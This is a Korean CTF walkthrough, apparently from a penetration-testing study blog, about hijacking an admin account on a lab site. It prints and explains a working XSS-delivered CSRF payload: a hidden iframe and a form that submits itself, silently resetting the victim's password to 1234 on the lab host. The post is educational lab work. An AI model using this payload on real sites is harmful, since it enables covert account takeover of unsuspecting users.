[모의해킹 스터디] CTF - GET Admin 2

바울·2025년 2월 4일
0

모의해킹 스터디

목록 보기
37/40

문제

GET Admin1과 똑같이 admin 계정 탈취 문제이다.


풀이

bawool 계정 생성 후 로그인

회원정보 수정 가능 확인 패킷을 확인해 보자.

패킷을 확인해 보면 pw parameter로 수정한 비밀번호가 전송되는 걸 볼 수 있다.

GET method로 요청 시 에러가 나오기 때문에 POST method를 사용해서 csrf 공격을 해야 한다. POST method에 csrf 공격을 하기 위해서는 xss 취약점을 찾아야 한다.

게시판 페이지에서 xss 취약점을 찾을 수 있다.

공격 코드

<iframe name="stealthFrame" style="display:none;" sandbox="allow-scripts"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="myForm" target="stealthFrame">
<input type="hidden" name="pw" value="1234"/>
</form>
<script>
document.getElementById("myForm").submit();
</script>

코드 상세 설명

1️⃣ 숨겨진 <iframe> 생성

<iframe name="stealthFrame" style="display:none;" sandbox="allow-scripts"></iframe>
  • style="display:none;" → 사용자가 이 iframe을 볼 수 없도록 숨김.
  • sandbox="allow-scripts" → iframe 내부에서 JavaScript 실행을 허용하지만 팝업창은 생성할 수 없음

2️⃣ 자동 제출할 <form> 생성

<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" id="myForm" target="stealthFrame">
    <input type="hidden" name="pw" value="1234"/>
</form>
  • action="http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php" → 해당 URL로 데이터를 전송.
  • target="stealthFrame" → 이 요청을 숨겨진 iframe(stealthFrame) 내부에서 실행하도록 지정함.
  • <input type="hidden" name="pw" value="1234"/> → 비밀번호(pw=1234) 값을 포함하여 서버에 전송.

3️⃣ JavaScript를 이용한 자동 제출

<script>
document.getElementById("myForm").submit();
</script>
  • JavaScript 코드 실행 시 자동으로 <form>을 제출하여, 사용자가 아무런 조작 없이도 CSRF 공격이 실행되도록 만듦.

사용자가 스크립트가 있는 페이지 접속 시 iframe 페이지와 정보 변경 시 팝업창이 뜰 경우 의심할 수 있기 때문에 위와 같이 사용자 화면에서는 아무런 반응이 없게 코드를 작성해 주었다.

관리자 봇에게 접속 요청

변경시킨 비밀번호 1234로 로그인 시도

로그인 성공 시 flag를 획득할 수 있다!

0개의 댓글